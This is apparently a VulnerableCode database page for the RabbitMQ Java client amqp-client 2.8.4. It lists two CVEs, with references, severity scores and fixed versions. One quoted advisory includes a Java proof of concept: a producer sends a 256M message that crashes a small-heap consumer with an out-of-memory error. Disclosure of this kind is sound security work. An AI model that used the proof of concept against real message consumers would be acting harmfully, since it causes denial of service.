Lookup for vulnerable packages by Package URL.

Purlpkg:maven/com.rabbitmq/amqp-client@2.8.4
Typemaven
Namespacecom.rabbitmq
Nameamqp-client
Version2.8.4
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version5.18.0
Latest_non_vulnerable_version5.18.0
Affected_by_vulnerabilities
0
url VCID-cuf7-182f-9ubm
vulnerability_id VCID-cuf7-182f-9ubm
summary
Improper Certificate Validation
Pivotal Spring AMQP, 1.x versions prior to 1.7.10 and 2.x versions prior to 2.0.6, expose a man-in-the-middle vulnerability due to lack of hostname validation. A malicious user that has the ability to intercept traffic would be able to view data in transit.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2018-11087
reference_id
reference_type
scores
0
value 0.00552
scoring_system epss
scoring_elements 0.68368
published_at 2026-06-04T12:55:00Z
1
value 0.00552
scoring_system epss
scoring_elements 0.6841
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2018-11087
1
reference_url https://github.com/spring-projects/spring-amqp/commit/444b74e95bb299af5e23ebf006fbb45d574fb95
reference_id
reference_type
scores
url https://github.com/spring-projects/spring-amqp/commit/444b74e95bb299af5e23ebf006fbb45d574fb95
2
reference_url https://github.com/spring-projects/spring-amqp/commit/aff4d0aefcdb99726fd739abf3b9bb96df97b0f
reference_id
reference_type
scores
url https://github.com/spring-projects/spring-amqp/commit/aff4d0aefcdb99726fd739abf3b9bb96df97b0f
3
reference_url https://github.com/spring-projects/spring-amqp/commit/d64e7fa3993dac577c0973e0caf8c31d27ef5e4
reference_id
reference_type
scores
url https://github.com/spring-projects/spring-amqp/commit/d64e7fa3993dac577c0973e0caf8c31d27ef5e4
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2018-11087
reference_id CVE-2018-11087
reference_type
scores
0
value 5.9
scoring_system cvssv3.1
scoring_elements CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2018-11087
5
reference_url https://pivotal.io/security/cve-2018-11087
reference_id CVE-2018-11087
reference_type
scores
0
value 5.9
scoring_system cvssv3.1
scoring_elements CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://pivotal.io/security/cve-2018-11087
6
reference_url https://github.com/advisories/GHSA-w4g2-9hj6-5472
reference_id GHSA-w4g2-9hj6-5472
reference_type
scores
0
value 5.9
scoring_system cvssv3.1
scoring_elements CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
2
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/advisories/GHSA-w4g2-9hj6-5472
fixed_packages
0
url pkg:maven/com.rabbitmq/amqp-client@4.8.0
purl pkg:maven/com.rabbitmq/amqp-client@4.8.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-ktt4-hm4k-9qcf
resource_url http://public2.vulnerablecode.io/packages/pkg:maven/com.rabbitmq/amqp-client@4.8.0
1
url pkg:maven/com.rabbitmq/amqp-client@5.4.0
purl pkg:maven/com.rabbitmq/amqp-client@5.4.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-ktt4-hm4k-9qcf
resource_url http://public2.vulnerablecode.io/packages/pkg:maven/com.rabbitmq/amqp-client@5.4.0
aliases CVE-2018-11087, GHSA-w4g2-9hj6-5472
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-cuf7-182f-9ubm
1
url VCID-ktt4-hm4k-9qcf
vulnerability_id VCID-ktt4-hm4k-9qcf
summary
RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack
### Summary
`maxBodyLebgth` was not used when receiving Message objects. Attackers could just send a very large Message causing a memory overflow and triggering an OOM Error.

### PoC
#### RbbitMQ
* Use RabbitMQ 3.11.16 as MQ and specify Message Body size 512M (here it only needs to be larger than the Consumer memory)
* Start RabbitMQ
#### Producer
* Build a String of length 256M and send it to Consumer
```
package org.springframework.amqp.helloworld; 

import org.springframework.amqp.core.AmqpTemplate; 
import org.springframework.context.ApplicationContext; 
import org.springframework.context.annotation.AnnotationConfigApplicationContext; 

public class Producer {
 public static void main(String[] args) {
  ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
  AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); 
  String s = "A";
  for(int i=0;i<28;++i){
   s = s + s;
   System.out.println(i);
  }
  amqpTemplate.convertAndSend(s);
  System.out.println("Send Finish");
 }
 }
```

#### Consumer
* First set the heap memory size to 128M
* Read the message sent by the Producer from the MQ and print the length
```
package org.springframework.amqp.helloworld;

import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;

public class Consumer {
 
 public static void main(String[] args) {
  ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
  AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
  Object o = amqpTemplate.receiveAndConvert();
  if(o != null){
   String s = o.toString();
   System.out.println("Received Length : " + s.length());
  }else{
   System.out.println("null");
  }
 }
}
```
#### Results
* Run the Producer first, then the Consumer
* Consumer throws OOM Exception


### Impact
Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2023-46120
reference_id
reference_type
scores
0
value 0.01095
scoring_system epss
scoring_elements 0.78353
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2023-46120
1
reference_url https://github.com/rabbitmq/rabbitmq-java-client
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/rabbitmq/rabbitmq-java-client
2
reference_url https://github.com/rabbitmq/rabbitmq-java-client/commit/714aae602dcae6cb4b53cadf009323ebac313cc8
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-11T13:10:31Z/
url https://github.com/rabbitmq/rabbitmq-java-client/commit/714aae602dcae6cb4b53cadf009323ebac313cc8
3
reference_url https://github.com/rabbitmq/rabbitmq-java-client/issues/1062
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-11T13:10:31Z/
url https://github.com/rabbitmq/rabbitmq-java-client/issues/1062
4
reference_url https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.18.0
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-11T13:10:31Z/
url https://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.18.0
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2023-46120
reference_id
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2023-46120
6
reference_url https://github.com/advisories/GHSA-mm8h-8587-p46h
reference_id GHSA-mm8h-8587-p46h
reference_type
scores
url https://github.com/advisories/GHSA-mm8h-8587-p46h
7
reference_url https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-mm8h-8587-p46h
reference_id GHSA-mm8h-8587-p46h
reference_type
scores
0
value 4.9
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-09-11T13:10:31Z/
url https://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-mm8h-8587-p46h
fixed_packages
0
url pkg:maven/com.rabbitmq/amqp-client@5.18.0
purl pkg:maven/com.rabbitmq/amqp-client@5.18.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:maven/com.rabbitmq/amqp-client@5.18.0
aliases CVE-2023-46120, GHSA-mm8h-8587-p46h
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-ktt4-hm4k-9qcf
Fixing_vulnerabilities
Risk_score3.1
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:maven/com.rabbitmq/amqp-client@2.8.4